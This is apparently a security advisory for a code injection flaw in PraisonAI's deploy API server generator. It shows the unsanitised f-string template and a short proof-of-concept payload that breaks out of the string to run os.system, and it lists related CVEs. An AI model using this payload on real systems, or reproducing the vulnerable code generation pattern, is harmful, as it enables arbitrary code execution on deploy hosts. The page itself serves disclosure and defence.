Summary
PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation
Advisory details
Summary
The deploy/api.py module generates Python server code by directly interpolating the agents_file parameter into an f-string that is then written to a file and executed via subprocess.Popen(). An attacker who controls the agents_file value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.
Details
src/praisonai/praisonai/deploy/api.py (line 80):
code = f'''...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...'''
The generated code is then executed (line 190):
subprocess.Popen(['python', server_file])
agents_file is never sanitized or validated. A malicious value breaks out of the string context:
agents_file = '"); import os; os.system("id"); #'
# Generated code becomes:
# praisonai = PraisonAI(agent_file=""); import os; os.system("id"); #")
The same pattern exists in deploy/docker.py (line 33) for Dockerfile generation.
PoC
# The injection:
agents_file = '"); import os; os.system("id"); #'
# What the generated code looks like:
template = f'praisonai = PraisonAI(agent_file="{agents_file}")'
print(template)
# Output: praisonai = PraisonAI(agent_file=""); import os; os.system("id"); #")
Impact
- Arbitrary code execution on the machine running the deploy command
- Supply chain risk if
agents_filecomes from a configuration file or CI/CD pipeline
References
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-102870
Microsoft Security Advisory CVE-2026-102870 - ASP.NET Core Remote Code Execution Vulnerability
- HIGHCVE-2026-108259
Tina: Code injection via unescaped Git branch name in generated client source
- CRITICALCVE-2026-107806
Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite
- HIGHCVE-2026-61433
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
- CRITICALCVE-2026-106446
Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
- HIGHCVE-2026-61446
PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification